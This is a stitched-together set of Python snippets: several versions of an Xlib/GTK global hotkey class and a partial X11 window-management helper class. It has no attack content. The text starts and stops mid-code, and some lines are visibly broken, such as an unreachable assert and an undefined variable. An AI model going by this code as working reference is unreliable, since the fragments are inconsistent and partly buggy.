Gdk.ModifierType.HYPER_MASK) self.known_modifiers_mask = 0 for modifier in gdk_modifiers: if "Mod" not in Gtk.accelerator_name(0, modifier) or "Mod4" in Gtk.accelerator_name(0, modifier): self.known_modifiers_mask |= modifier def get_keycode(self, keyval): count = c_int() array = (KeymapKey * 10)() keys = cast(array, POINTER(KeymapKey)) gdk.gdk_keymap_get_entries_for_keyval.argtypes = [c_void_p, c_uint, c_void_p, c_void_p] gdk.gdk_keymap_get_entries_for_keyval(hash(self.keymap), keyval, byref(keys), byref(count)) return keys[0].keycode def grab(self, key): accelerator = key accelerator = accelerator.replace("<Super>", "<Mod4>") keyval, modifiers = Gtk.accelerator_parse(accelerator) if not accelerator or (not keyval and not modifiers): self.keycode = None self.modifiers = None return False self.keytext = key self.keycode = self.get_keycode(keyval) self.modifiers = int(modifiers) catch = error.CatchError(error.BadAccess) for ignored_mask in self.ignored_masks: mod = modifiers | ignored_mask result = self.window.grab_key(self.keycode, mod, True, X.GrabModeAsync, X.GrabModeSync, onerror=catch) self.display.flush() # sync has been blocking. Don't know why. #self.display.sync() if catch.get_error(): return False return True def ungrab(self): if self.keycode: self.window.ungrab_key(self.keycode, X.AnyModifier, self.window) def rebind(self, key): self.ungrab() if key != "": self.grab(key) else: self.keytext = "" def set_focus_window(self, window = None): self.ungrab() if window is None: self.window = self.screen.root else: gdk.gdk_x11_drawable_get_xid.argtypes = [c_void_p] self.window = self.display.create_resource_object("window", gdk.gdk_x11_drawable_get_xid(hash(window))) self.grab(self.keytext) def get_mask_combinations(self, mask): return [x for x in xrange(mask+1) if not (x & ~mask)] def idle(self): self.emit("activate") return False def activate(self): GLib.idle_add(self.run) def run(self): self.running = True wait_for_release = False while self.running: event = self.display.next_event() try: self.current_event_time = event.time if event.detail == self.keycode and event.type == X.KeyPress and not wait_for_release: modifiers = event.state & self.known_modifiers_mask if modifiers == self.modifiers: wait_for_release = True self.display.allow_events(X.AsyncKeyboard, event.time) else: self.display.allow_events(X.ReplayKeyboard, event.time) elif event.detail == self.keycode and wait_for_release: if event.type == X.KeyRelease: wait_for_release = False GLib.idle_add(self.idle) self.display.allow_events(X.AsyncKeyboard, event.time) else: self.display.allow_events(X.ReplayKeyboard, event.time) except AttributeError: continue def stop(self): self.running = False self.ungrab() self.display.close()
class GlobalKeyBinding(GObject.GObject, threading.Thread): __gsignals__ = { 'activate': (GObject.SignalFlags.RUN_LAST, None, ()), } def __init__(self): GObject.GObject.__init__(self) threading.Thread.__init__(self) self.setDaemon(True) self.keymap = capi.get_widget (gdk.gdk_keymap_get_default()) self.display = Display() self.screen = self.display.screen() self.root = self.screen.root self.ignored_masks = self.get_mask_combinations(X.LockMask | X.Mod2Mask | X.Mod5Mask) self.map_modifiers() def map_modifiers(self): gdk_modifiers =(Gdk.ModifierType.CONTROL_MASK, Gdk.ModifierType.SHIFT_MASK, Gdk.ModifierType.MOD1_MASK, Gdk.ModifierType.MOD2_MASK, Gdk.ModifierType.MOD3_MASK, Gdk.ModifierType.MOD4_MASK, Gdk.ModifierType.MOD5_MASK, Gdk.ModifierType.SUPER_MASK, Gdk.ModifierType.HYPER_MASK) self.known_modifiers_mask = 0 for modifier in gdk_modifiers: if "Mod" not in Gtk.accelerator_name(0, modifier): self.known_modifiers_mask |= modifier def grab(self, key): Gdk.threads_enter() accelerator = key Gdk.threads_leave() keyval, modifiers = Gtk.accelerator_parse(accelerator) print keyval, modifiers if not accelerator or (not keyval and not modifiers): self.keycode = None self.modifiers = None return False count = c_int() keys = KeymapKey * 10 gdk.gdk_keymap_get_entries_for_keyval(hash(self.keymap), keyval, byref(keys), byref(count)) self.keycode = keys[0].keycode self.modifiers = int(modifiers) catch = error.CatchError(error.BadAccess) for ignored_mask in self.ignored_masks: mod = modifiers | ignored_mask result = self.root.grab_key(self.keycode, mod, True, X.GrabModeAsync, X.GrabModeSync, onerror=catch) self.display.sync() if catch.get_error(): return False return True def ungrab(self, key): if self.keycode: self.root.ungrab_key(self.keycode, X.AnyModifier, self.root) def get_mask_combinations(self, mask): return [x for x in xrange(mask+1) if not (x & ~mask)] def idle(self): # Gdk.threads_enter() self.emit("activate") # Gdk.threads_leave() return False def run(self): self.running = True wait_for_release = False while self.running: event = self.display.next_event() self.current_event_time = event.time if event.detail == self.keycode and event.type == X.KeyPress and not wait_for_release: modifiers = event.state & self.known_modifiers_mask if modifiers == self.modifiers: wait_for_release = True self.display.allow_events(X.AsyncKeyboard, event.time) else: self.display.allow_events(X.ReplayKeyboard, event.time) elif event.detail == self.keycode and wait_for_release: if event.type == X.KeyRelease: wait_for_release = False GLib.idle_add(self.idle) self.display.allow_events(X.AsyncKeyboard, event.time) else: self.display.allow_events(X.ReplayKeyboard, event.time) def stop(self): self.running = False self.ungrab() self.display.close()
class GlobalKeyBinding(GObject.GObject, threading.Thread): __gsignals__ = { 'activate':(GObject.SIGNAL_RUN_LAST, None,()), } def __init__(self): GObject.GObject.__init__(self) threading.Thread.__init__(self) self.setDaemon(True) self.keymap = Gdk.Keymap.get_default() self.display = Display() self.screen = self.display.screen() self.root = self.screen.root self.map_modifiers() def map_modifiers(self): gdk_modifiers =(Gdk.ModifierType.CONTROL_MASK, Gdk.ModifierType.SHIFT_MASK, Gdk.ModifierType.MOD1_MASK, Gdk.ModifierType.MOD2_MASK, Gdk.ModifierType.MOD3_MASK, Gdk.ModifierType.MOD4_MASK, Gdk.ModifierType.MOD5_MASK, Gdk.ModifierType.SUPER_MASK, Gdk.ModifierType.HYPER_MASK) self.known_modifiers_mask = 0 for modifier in gdk_modifiers: # Do you know how to handle unknown "Mod*" keys? # They are usually Locks and something like that if "Mod" not in Gtk.accelerator_name(0, modifier): self.known_modifiers_mask |= modifier def grab(self): Gdk.threads_enter() accelerator = ConfigManager.get_conf('global-key') Gdk.threads_leave() keyval, modifiers = Gtk.accelerator_parse(accelerator) if not accelerator or(not keyval and not modifiers): self.keycode = None self.modifiers = None return self.keycode= self.keymap.get_entries_for_keyval(keyval)[1][0].keycode self.modifiers = int(modifiers) catch = error.CatchError(error.BadAccess) self.root.grab_key(self.keycode, X.AnyModifier, True, X.GrabModeAsync, X.GrabModeSync,onerror=catch) self.display.sync() if catch.get_error(): return False return True def ungrab(self): if self.keycode: self.root.ungrab_key(self.keycode, X.AnyModifier, self.root) def idle(self): Gdk.threads_enter() self.emit("activate") Gdk.threads_leave() return False def run(self): self.running = True wait_for_release = False while self.running: event = self.display.next_event() self.current_event_time = event.time if event.detail == self.keycode and event.type == X.KeyPress and not wait_for_release: modifiers = event.state & self.known_modifiers_mask if modifiers == self.modifiers: wait_for_release = True self.display.allow_events(X.AsyncKeyboard, event.time) else: self.display.allow_events(X.ReplayKeyboard, event.time) elif event.detail == self.keycode and wait_for_release: if event.type == X.KeyRelease: wait_for_release = False GObject.idle_add(self.idle) self.display.allow_events(X.AsyncKeyboard, event.time) else: self.display.allow_events(X.ReplayKeyboard, event.time) def stop(self): self.running = False self.ungrab() self.display.close()
class KeyBindingManager(threading.Thread): """ An Xlib-based global key bindings manager. """ __metaclass__ = Singleton def __init__(self): super(KeyBindingManager, self).__init__() self.daemon = True self.display = Display() self.root = self.display.screen().root self._binding_map = {} self.known_modifiers_mask = 0 gdk_modifiers = (gtk.gdk.CONTROL_MASK, gtk.gdk.SHIFT_MASK, gtk.gdk.MOD1_MASK, gtk.gdk.MOD2_MASK, gtk.gdk.MOD3_MASK, gtk.gdk.MOD4_MASK, gtk.gdk.MOD5_MASK, gtk.gdk.SUPER_MASK, gtk.gdk.HYPER_MASK) for mod in gdk_modifiers: self.known_modifiers_mask |= mod def add_binding_from_string(self, binding_string, action, args=(), kwargs={}): """ Add a key binding from an accelerator string. Uses gtk.accelerator_parse to parse the string; according to the docs, this is "fairly liberal" and "allows abbreviations such as '<Ctrl>' and '<Ctl>'". """ print 'Adding', binding_string keyval, modifiers = gtk.accelerator_parse(binding_string) print modifiers action = (action, args, kwargs) keycode = gtk.gdk.keymap_get_default().get_entries_for_keyval(keyval)[0][0] self._binding_map[(keycode, modifiers)] = action self.regrab() def grab(self): for (keycode, modifiers) in self._binding_map.keys(): self.root.grab_key(keycode, int(modifiers), True, X.GrabModeAsync, X.GrabModeSync) def ungrab(self): for (keycode, modifiers) in self._binding_map.keys(): self.root.ungrab_key(keycode, modifiers, self.root) def regrab(self): self.ungrab() self.grab() def _action_idle(self, action): gtk.gdk.threads_enter() action, args, kwargs = action gobject.idle_add(action, args, kwargs) gtk.gdk.threads_leave() return False def run(self): self.running = True wait_for_release = False while self.running: event = self.display.next_event() if event.type == X.KeyPress and not wait_for_release: keycode = event.detail modifiers = event.state & self.known_modifiers_mask try: action = self._binding_map[(keycode, modifiers)] except KeyError: # This key binding isn't handled by Snappy. self.display.allow_events(X.ReplayKeyboard, event.time) else: # Get the action ready for when the key combo is released wait_for_release = True self.display.allow_events(X.AsyncKeyboard, event.time) self._upcoming_action = (keycode, modifiers, action) elif event.type == X.KeyRelease and wait_for_release and event.detail == self._upcoming_action[0]: # The user has released the key combo; run the queued action wait_for_release = False action = self._upcoming_action[2] del self._upcoming_action gobject.idle_add(self._action_idle, action) self.display.allow_events(X.AsyncKeyboard, event.time) else: self.display.allow_events(X.ReplayKeyboard, event.time) def stop(self): self.running = False self.ungrab() self.display.close()
class GlobalKeyBinding(GObject.GObject, threading.Thread): __gsignals__ = { 'activate': (GObject.SignalFlags.RUN_LAST, None, ()), } def __init__(self): GObject.GObject.__init__ (self) threading.Thread.__init__ (self) self.setDaemon (True) self.keymap = Gdk.Keymap().get_default() self.display = Display() self.screen = self.display.screen() self.window = self.screen.root self.ignored_masks = self.get_mask_combinations(X.LockMask | X.Mod2Mask | X.Mod5Mask) self.map_modifiers() self.raw_keyval = None self.keytext = "" def map_modifiers(self): gdk_modifiers =(Gdk.ModifierType.CONTROL_MASK, Gdk.ModifierType.SHIFT_MASK, Gdk.ModifierType.MOD1_MASK, Gdk.ModifierType.MOD2_MASK, Gdk.ModifierType.MOD3_MASK, Gdk.ModifierType.MOD4_MASK, Gdk.ModifierType.MOD5_MASK, Gdk.ModifierType.SUPER_MASK, Gdk.ModifierType.HYPER_MASK) self.known_modifiers_mask = 0 for modifier in gdk_modifiers: if "Mod" not in Gtk.accelerator_name(0, modifier) or "Mod4" in Gtk.accelerator_name(0, modifier): self.known_modifiers_mask |= modifier def grab(self, key): accelerator = key accelerator = accelerator.replace("<Super>", "<Mod4>") keyval, modifiers = Gtk.accelerator_parse(accelerator) if not accelerator or (not keyval and not modifiers): self.keycode = None self.modifiers = None return False self.keytext = key try: self.keycode = self.keymap.get_entries_for_keyval(keyval).keys[0].keycode except: # In Betsy, the get_entries_for_keyval() returns an unamed tuple... self.keycode = self.keymap.get_entries_for_keyval(keyval)[1][0].keycode self.modifiers = int(modifiers) catch = error.CatchError(error.BadAccess) for ignored_mask in self.ignored_masks: mod = modifiers | ignored_mask result = self.window.grab_key(self.keycode, mod, True, X.GrabModeAsync, X.GrabModeAsync, onerror=catch) self.display.flush() # sync has been blocking. Don't know why. #self.display.sync() if catch.get_error(): return False return True def ungrab(self): if self.keycode: self.window.ungrab_key(self.keycode, X.AnyModifier, self.window) def rebind(self, key): self.ungrab() if key != "": self.grab(key) else: self.keytext = "" def set_focus_window(self, window = None): self.ungrab() if window is None: self.window = self.screen.root else: self.window = self.display.create_resource_object("window", window.get_xid()) self.grab(self.keytext) def get_mask_combinations(self, mask): return [x for x in xrange(mask+1) if not (x & ~mask)] def idle(self): self.emit("activate") return False def activate(self): GLib.idle_add(self.run) def run(self): self.running = True wait_for_release = False while self.running: event = self.display.next_event() try: self.current_event_time = event.time if event.detail == self.keycode and event.type == X.KeyPress and not wait_for_release: modifiers = event.state & self.known_modifiers_mask if modifiers == self.modifiers: wait_for_release = True self.display.allow_events(X.AsyncKeyboard, event.time) else: self.display.allow_events(X.ReplayKeyboard, event.time) elif event.detail == self.keycode and wait_for_release: if event.type == X.KeyRelease: wait_for_release = False GLib.idle_add(self.idle) self.display.allow_events(X.AsyncKeyboard, event.time) else: self.display.send_event(self.window, event, X.KeyPressMask | X.KeyReleaseMask, True) self.display.allow_events(X.ReplayKeyboard, event.time) wait_for_release = False except AttributeError: continue def stop(self): self.running = False self.ungrab() self.display.close()
class GlobalKeyBinding(GObject.GObject, threading.Thread): __gsignals__ = { 'activate': (GObject.SignalFlags.RUN_LAST, None, ()), } def __init__(self): GObject.GObject.__init__(self) threading.Thread.__init__(self) self.setDaemon(True) self.keymap = Gdk.Keymap().get_default() self.display = Display() self.screen = self.display.screen() self.window = self.screen.root self.ignored_masks = self.get_mask_combinations(X.LockMask | X.Mod2Mask | X.Mod5Mask) self.map_modifiers() self.raw_keyval = None self.keytext = "" def map_modifiers(self): gdk_modifiers = (Gdk.ModifierType.CONTROL_MASK, Gdk.ModifierType.SHIFT_MASK, Gdk.ModifierType.MOD1_MASK, Gdk.ModifierType.MOD2_MASK, Gdk.ModifierType.MOD3_MASK, Gdk.ModifierType.MOD4_MASK, Gdk.ModifierType.MOD5_MASK, Gdk.ModifierType.SUPER_MASK, Gdk.ModifierType.HYPER_MASK) self.known_modifiers_mask = 0 for modifier in gdk_modifiers: if "Mod" not in Gtk.accelerator_name( 0, modifier) or "Mod4" in Gtk.accelerator_name( 0, modifier): self.known_modifiers_mask |= modifier def grab(self, key): accelerator = key accelerator = accelerator.replace("<Super>", "<Mod4>") keyval, modifiers = Gtk.accelerator_parse(accelerator) if not accelerator or (not keyval and not modifiers): self.keycode = None self.modifiers = None return False self.keytext = key try: self.keycode = self.keymap.get_entries_for_keyval( keyval).keys[0].keycode except AttributeError: # In older Gtk3 the get_entries_for_keyval() returns an unnamed tuple... self.keycode = self.keymap.get_entries_for_keyval( keyval)[1][0].keycode self.modifiers = int(modifiers) # Request to receive key press/release reports from other windows that may not be using modifiers catch = error.CatchError(error.BadWindow) if self.modifiers: self.window.change_attributes(onerror=catch, event_mask=X.KeyPressMask | X.KeyReleaseMask) else: self.window.change_attributes(onerror=catch, event_mask=X.NoEventMask) if catch.get_error(): return False catch = error.CatchError(error.BadAccess) for ignored_mask in self.ignored_masks: mod = modifiers | ignored_mask result = self.window.grab_key(self.keycode, mod, True, X.GrabModeAsync, X.GrabModeAsync, onerror=catch) self.display.flush() # sync has been blocking. Don't know why. #self.display.sync() if catch.get_error(): return False return True def ungrab(self): if self.keycode: self.window.ungrab_key(self.keycode, X.AnyModifier, self.window) def rebind(self, key): self.ungrab() if key != "": self.grab(key) else: self.keytext = "" def set_focus_window(self, window=None): self.ungrab() if window is None: self.window = self.screen.root else: self.window = self.display.create_resource_object( "window", window.get_xid()) self.grab(self.keytext) def get_mask_combinations(self, mask): return [x for x in xrange(mask + 1) if not (x & ~mask)] def idle(self): self.emit("activate") return False def activate(self): GLib.idle_add(self.run) def run(self): self.running = True wait_for_release = False while self.running: event = self.display.next_event() if self.modifiers: # Use simpler logic when using traditional combined keybindings modifiers = event.state & self.known_modifiers_mask if event.type == X.KeyPress and event.detail == self.keycode and modifiers == self.modifiers: GLib.idle_add(self.idle) else: try: if event.type == X.KeyPress and event.detail == self.keycode and not wait_for_release: modifiers = event.state & self.known_modifiers_mask if modifiers == self.modifiers: wait_for_release = True elif event.type == X.KeyRelease and event.detail == self.keycode and wait_for_release: GLib.idle_add(self.idle) wait_for_release = False else: self.display.ungrab_keyboard(X.CurrentTime) # Send the event up in case another window is listening to it self.display.send_event( event.window, event, X.KeyPressMask | X.KeyReleaseMask, True) wait_for_release = False except AttributeError: continue def stop(self): self.running = False self.ungrab() self.display.close()
class KnoX: Geometry = namedtuple("Geometry", "x y width height") FrameExtents = namedtuple("FrameExtents", "left right top bottom") def __init__(self): #self.display = Display(os.environ.get("DISPLAY", ":0.0")) self.display = Display() print("Connected to X DISPLAY %r" % self.display.get_display_name()) self.display.set_error_handler(self.knox_error_handler) self.screen = self.display.screen() self.root = self.screen.root self.atoms = dict() self.atom_names = dict() self.keysyms = Keysyms() self.modifiers = Modifiers(self) self._supported_properties = None self._acceptable_error_sequence = 0 self._acceptable_errors = dict() self._silenced_errors = set() def fileno(self): """This function is here to make select work with this object""" return self.display.fileno() @contextmanager def silenced_error(self, error): silencer = self.silence_error(error) try: yield silencer finally: self.remove_silencer(silencer) def silence_error(self, error): k = self._acceptable_error_sequence self._acceptable_errors[k] = error self._acceptable_error_sequence += 1 self._silenced_errors = set(self._acceptable_errors.values()) return k def remove_silencer(self, key): if key in self._acceptable_errors: del self._acceptable_errors[key] self._silenced_errors = set(self._acceptable_errors.values()) def knox_error_handler(self, err, *args): if type(err) not in self._silenced_errors: print("X protocol error: %s" % err) traceback.print_stack() # def wait_for_event(self, timeout_seconds): # """ Wait up to `timeout_seconds` seconds for an event to be queued. # Return True, if a xevent is available. # Return False, if the timeout was reached. # from https://gist.github.com/fphammerle/d81ca3ff0a169f062a9f28e57b18f04d""" # rlist = select.select( # [self.display], # rlist # [], # wlist # [], # xlist # timeout_seconds, # timeout [seconds] # )[0] # return len(rlist) > 0 def next_event(self, wait=True): if (wait or self.display.pending_events()): return self.display.next_event() else: return None # def next_event(self, event_loop): # event_loop.register_reader(self.display, def atom(self, name, only_if_exists=False): if isinstance(name, int): a = name elif name not in self.atoms: a = self.display.get_atom(name, only_if_exists=only_if_exists) self.atoms[name] = a else: a = self.atoms[name] return a def atom_name(self, atom): if atom in self.atom_names: return self.atom_names[atom] name = self.display.get_atom_name(atom) if name: self.atom_names[atom] = name if name not in self.atoms: self.atoms[name] = atom return name def get_prop(self, window, name): prop_name = self.atom(name, only_if_exists=True) if not prop_name: return None if isinstance(window, int): window = self.get_window(window) p = window.get_full_property(prop_name, X.AnyPropertyType) if p: return p.value def get_text_prop(self, window, name): prop_name = self.atom(name, only_if_exists=True) if not prop_name: return None s = window.get_full_text_property(prop_name, Xatom.STRING) if not s: t = self.atom("UTF8_STRING", only_if_exists=True) if t: s = window.get_full_text_property(prop_name, t) return s def onerror(self, *args, **kwargs): print("ERROR: something bad happened about %r and %r" % (args, kwargs)) raise Exception("Error is bad...") def set_prop(self, window, name, type_name, value): if isinstance(window, int): window = self.get_window(window) if isinstance(type_name, int): prop_type_name = type_name #type_name = self.atom_name(prop_type_name) else: prop_type_name = self.atom(type_name, only_if_exists=False) prop_name = self.atom(name, only_if_exists=False) if value is None: window.delete_property(prop_name) else: window.change_property(prop_name, prop_type_name, 32, value, mode=X.PropModeReplace, onerror=self.onerror) def send_prop_change_event( self, property_name, data, target=None, window=None, ): if target is None: target = self.root if window is None: window = target ev = protocol.event.ClientMessage(window=window, client_type=self.atom(property_name), data=data) target.send_event(ev, event_mask=X.SubstructureNotifyMask | X.SubstructureRedirectMask, propagate=False, onerror=self.onerror) def current_desktop(self, desktop=None, wait=True): prop_name = "_NET_CURRENT_DESKTOP" if desktop is None: pv = self.get_prop(self.root, prop_name) if pv: return pv[0] else: v = array('I', [desktop]) #self.set_prop(self.root, prop_name, Xatom.CARDINAL, v) self.send_prop_change_event( prop_name, (32, [desktop, X.CurrentTime, 0, 0, 0])) self.flush() w = Waiter(wait) while w.wait(): print("DESKTOPCHECK", hex(desktop)) if self.current_desktop() == desktop: print("DESKTOP OK") break def get_wm_pid(self, window): pid_prop = self.get_prop(window, "_NET_WM_PID") if pid_prop: return pid_prop[0] return None def get_wm_name(self, window): if isinstance(window, int): window = self.get_window(window) # window.get_wm_name gets only STRING property and returns nothing # if it's UTF8_STRING return self.get_text_prop(window, Xatom.WM_NAME) def active_window(self, window=None, wait=3, id_only=False): prop_name = "_NET_ACTIVE_WINDOW" if window is None: pv = self.get_prop(self.root, prop_name) if pv and pv[0]: window = self.get_window(pv[0]) if window and window.get_wm_name() != 'Desktop': if id_only: return window.id else: return window else: if isinstance(window, int): window = self.get_window(window) desktop = self.get_desktop_for_window(window) self.current_desktop(desktop) #v = array('I', [ window.id, 0 ]) #self.set_prop(self.root, prop_name, Xatom.WINDOW, v) # data[0]: source indication # 1: when the request comes from an application # 2: from a pager # 0: no spec. self.send_prop_change_event(prop_name, (32, [2, X.CurrentTime, 0, 0, 0]), window=window) self.flush() #self.raise_window(window) # it won't become active until it's focused focused = self.set_focused_window(window, wait=1) w = Waiter(wait) while w.wait(): a = self.active_window() self.flush() if not focused: focused = self.set_focused_window(window, wait=1) self.flush() if a and a.id == window.id: print("Activated %r!" % window.id) return True self.send_prop_change_event(prop_name, (32, [2, X.CurrentTime, 0, 0, 0]), window=window) self.flush() print("Can't activate %d" % window.id) return False def get_focused_window(self, toplevel=True): f = self.display.get_input_focus() #f = protocol.request.GetInputFocus(display=self.display.display) if f.focus in [X.NONE, X.PointerRoot]: return None if toplevel: w = self.get_client_window(f.focus) if w is not None: return w.id return f.focus.id def raise_window(self, window): if isinstance(window, int): window = self.get_window(window) elif window is None: return window.raise_window() def focus_error(self, *args, **kwargs): print("Cannot set_input_focus: %r %r" % (args, kwargs)) def set_focused_window(self, window, wait=3): if window is None: self.display.set_input_focus(X.NONE, X.RevertToParent, X.CurrentTime, onerror=self.focus_error) return True elif not wait: self.display.set_input_focus(window, X.RevertToParent, X.CurrentTime) return True else: with self.silenced_error(error.BadMatch): if isinstance(window, int): window = self.get_window(window) self.display.set_input_focus(window, X.RevertToParent, X.CurrentTime) self.flush() w = Waiter(wait) while w.wait(): if w.timeout: if w.progressed: print("WAITING %.3f seconds more for focus on %r" % (w.remaining, window.id)) else: print( "READY TO WAIT %.3f seconds for focus on %r" % (w.remaining, window.id)) focused_win_id = self.get_focused_window() if focused_win_id == window.id: print("FOCUSED %r" % window.id) return True # many times it's needed to repeat the command, esp. when mouse is # not inside the target window self.display.set_input_focus(window, X.RevertToParent, X.CurrentTime) self.flush() #self.display.set_input_focus(window, X.RevertToParent, X.CurrentTime) #self.display.flush() return False def get_desktop_for_window(self, window): pv = self.get_prop(window, "_NET_WM_DESKTOP") if pv: return pv[0] def set_desktop_for_window(self, window, desktop): if desktop is None: return name = self.atom("_NET_WM_DESKTOP", only_if_exists=True) if name in self.supported_properties: pv = self.set_prop(window, name, Xatom.CARDINAL, array('I', [desktop])) def save_state(self): state = { "Current Desktop": self.current_desktop(), "Active Window": self.active_window(id_only=True), "Focused Window": self.get_focused_window() } return state def restore_state(self, state): a = self.supported_properties self.current_desktop(state["Current Desktop"]) self.flush() try: self.set_focused_window(state["Focused Window"]) except error.BadWindow: print("Sorry, the old focused window went away...") # self.active_window(state["Active Window"]) def keysym_to_string(self, keysym, friendly=False, very_friendly=False): if keysym not in self.keysyms.keysyms: return chr(keysym) if very_friendly: return self.keysyms.friendly_name(keysym, simplest=True) if friendly: return self.keysyms.friendly_name(keysym, simplest=False) else: return self.keysyms[keysym] def keycode_to_keysym(self, keycode, idx=None): if idx is None: syms = set() for i in range(4): keysym = self.display.keycode_to_keysym(keycode, i) if keysym: syms.add(keysym) return syms else: return self.display.keycode_to_keysym(event.detail, i) def keysym_to_keycode(self, keysym): return self.display.keysym_to_keycode(keysym) def string_to_keysym(self, s): k = self.keysyms[s] if not k: k = self.keysyms["XK_" + s] if k: return k k = XK.string_to_keysym(s) return k # allow simpler names, like AudioRaiseVolume? # if s.startswith("XF86_"): # s = "XF86" + s[5:] # return XK.string_to_keysym(s) def error_handler(self, fn, *args, **kwargs): return functools.partial(fn, *args, **kwargs) def toggle_frame(self, window, frame=None, wait=1): """Set window frame. Value should be True or False for on and off, or None for toggle.""" # flags - set bit for every iteresting value # 0 functions => integer bits # 1 decorations => integer bits # 2 input_mode => enum string or integer # 3 status => integer bits # # functions: # bit actions offered # --- --------------- # 1 all functions # 2 resize window # 4 move window # 8 minimize, to iconify # 16 maximize, to full-screen (with a frame still) # 32 close window # # decorations: # bit decorations displayed # --- --------------------- # 1 all decorations # 2 border around the window # 4 resizeh, handles to resize by dragging # 8 title bar, showing WM_NAME # 16 menu, drop-down menu of the "functions" above # 32 minimize button, to iconify # 64 maximize button, to full-screen # # input mode: # string integer # "modeless" 0 not modal (the default) # "primary_application_modal" 1 modal to its "transient for" # "system_modal" 2 modal to the whole display # "full_application_modal" 3 modal to the current client # # status: # # bit # 1 tearoff menu window name = self.atom("_MOTIF_WM_HINTS", only_if_exists=True) # If does not exist, probably not supported, though should check # root for _NET_SUPPORTED list return assert prop != 0 pv = pv = self.get_prop(window, name) fe = self.get_frame_extents(window) if pv and len(pv) == 5: hints = array(pv.typecode, pv) if frame is None: hints[2] = 0 if hints[2] else 1 elif frame: hints[2] = 1 else: hints[2] = 0 else: # reasonable default hints = array('I', [2, 0, 0, 0, 0]) self.set_prop(window, name, name, hints) w = Waiter(wait) while w.wait(): pv = self.get_prop(window, name) if pv and array(pv.typecode, pv) == hints: new_fe = self.get_frame_extents(window) # make sure frame extents changed # this seems to take a while once the hints change if new_fe != fe: break def set_opacity(self, window, value): """value is a number between 0 and 1""" v = int(((1 << 32) - 1) * value) self.set_prop(window, "_NET_WM_WINDOW_OPACITY", Xatom.CARDINAL, array('I', [v])) def get_opacity(self, window): pv = self.get_prop(window, "_NET_WM_WINDOW_OPACITY") if pv: value = int(pv[0] / ((1 << 32) - 1)) return value return 1 @property def supported_properties(self): if self._supported_properties is None: self._supported_properties = self.get_prop(self.root, "_NET_SUPPORTED") or [] return self._supported_properties def get_window(self, win_id): if isinstance(win_id, int): return self.display.create_resource_object('window', win_id) else: return win_id def get_client_window(self, window): win_id = window.id for tlw in self.toplevel_windows(): for (_, parent, _) in self.window_tree( tlw, filter=lambda w, parent, level: w.id == win_id): return tlw return None def toplevel_windows(self, id_only=False): name = self.atom("_NET_CLIENT_LIST", only_if_exists=True) if name in self.supported_properties: lst = self.get_prop(self.root, name) if id_only: return lst else: return list(map(lambda win_id: self.get_window(win_id), lst)) else: print("BELGENGOC") if id_only: return list( map(lambda w: w.id, self.root.query_tree().children)) else: return list(self.root.query_tree().children) def window_tree(self, parent=None, level=1, filter=None): if parent is None: parent = self.root if filter is None or filter(parent, None, 0): yield (parent, None, 0) for w in parent.query_tree().children: if filter is None or filter(w, parent, level): yield (w, parent, level) yield from self.window_tree(parent=w, level=level + 1, filter=filter) def close_window(self, window): self.send_prop_change_event("_NET_CLOSE_WINDOW", (32, [0, 0, 0, 0, 0]), window=self.get_window(window)) # https://specifications.freedesktop.org/wm-spec/wm-spec-1.3.html # window = the respective client window # message_type = _NET_WM_STATE # format = 32 # data.l[0] = the action, as listed below # data.l[1] = first property to alter # data.l[2] = second property to alter # data.l[3] = source indication # other data.l[] elements = 0 # This message allows two prop # _NET_WM_STATE_REMOVE = 0 # remove/unset property _NET_WM_STATE_ADD = 1 #add/set property _NET_WM_STATE_TOGGLE = 2 # toggle property def set_wm_states(self, window, names, action=None): if action is None: action = self._NET_WM_STATE_TOGGLE elif action is True: action = self._NET_WM_STATE_ADD elif action is False: action = self._NET_WM_STATE_REMOVE window = self.get_window(window) values = list() for name in names: value = self.atom("_NET_WM_STATE_%s" % name.upper()) values.append(value) data = [action, *values] while len(data) < 5: data.append(0) self.send_prop_change_event("_NET_WM_STATE", (32, data), window=self.get_window(window)) def set_wm_state(self, window, name, action=None): if action is None: action = self._NET_WM_STATE_TOGGLE elif action is True: action = self._NET_WM_STATE_ADD elif action is False: action = self._NET_WM_STATE_REMOVE window = self.get_window(window) value = self.atom("_NET_WM_STATE_%s" % name.upper()) self.send_prop_change_event("_NET_WM_STATE", (32, [action, value, 0, 0, 0]), window=self.get_window(window)) def below_window(self, window, action=None): self.set_wm_state(window, name="below", action=action) def fullscreen_window(self, window, action=None): self.set_wm_state(window, name="fullscreen", action=action) def above_window(self, window, action=None): self.set_wm_state(window, name="above", action=action) def sticky_window(self, window, action=None): self.set_wm_state(window, name="sticky", action=action) def skip_pager(self, window, action=None): self.set_wm_state(window, name="skip_pager", action=action) def skip_taskbar(self, window, action=None): self.set_wm_state(window, name="skip_taskbar", action=action) def maximize_window(self, window, horizontal=True, vertical=True, action=None): if horizontal: self.set_wm_state(window, name="maximized_horz", action=action) if vertical: self.set_wm_state(window, name="maximized_vert", action=action) def minimize_window(self, window): if isinstance(window, int): window = self.get_window(window) self.send_prop_change_event("WM_CHANGE_STATE", (32, [Xutil.IconicState, 0, 0, 0, 0]), window=self.get_window(window)) def get_attributes(self, window): if isinstance(window, int): window = self.get_window(window) return window.get_attributes() def get_window_type(self, window): e = self.get_prop(window, "_NET_WM_WINDOW_TYPE") if e is None: return None type_details = set() prefix = "_NET_WM_WINDOW_TYPE_" for t in e: if not t: continue s = self.atom_name(t) if s.startswith(prefix): s = s[len(prefix):] type_details.add(s) return type_details def get_frame_extents(self, window): # x, y, width, height if isinstance(window, int): window = self.get_window(window) e = self.get_prop(window, "_NET_FRAME_EXTENTS") if e: return self.FrameExtents(*e) else: return self.FrameExtents(0, 0, 0, 0) def get_geometry(self, window): # x, y, width, height if isinstance(window, int): window = self.get_window(window) return window.get_geometry() def set_geometry(self, window, **data): # x, y, width, height if isinstance(window, int): window = self.get_window(window) if any(map(lambda v: v < 0, data.values())): gw = self.get_geometry(window) f = self.get_frame_extents(window) wa = self.usable_workarea() if 'x' in data and data['x'] < 0: data['x'] = wa.width - gw.width - (f.left + f.right) + data['x'] + 1 else: data['x'] += wa.x if 'y' in data and data['y'] < 0: data['y'] = wa.height - gw.height - (f.top + f.bottom) + data['y'] + 1 else: data['y'] += wa.y window.configure(**data) def usable_workarea(self): a = self.get_prop(self.root, "_NET_WORKAREA") if a: p = self.current_desktop() * 4 #return (x, y, width, height) return self.Geometry(*a[p:p + 4]) else: r = self.get_geometry(self.root) return self.Geometry(0, 0, r.width, r.height) def send_key(self, window, keysym, modifiers): if isinstance(window, int): window = self.get_window(window) keycode = self.display.keysym_to_keycode(keysym) event = protocol.event.KeyPress(time=X.CurrentTime, root=self.root, window=window, child=X.NONE, 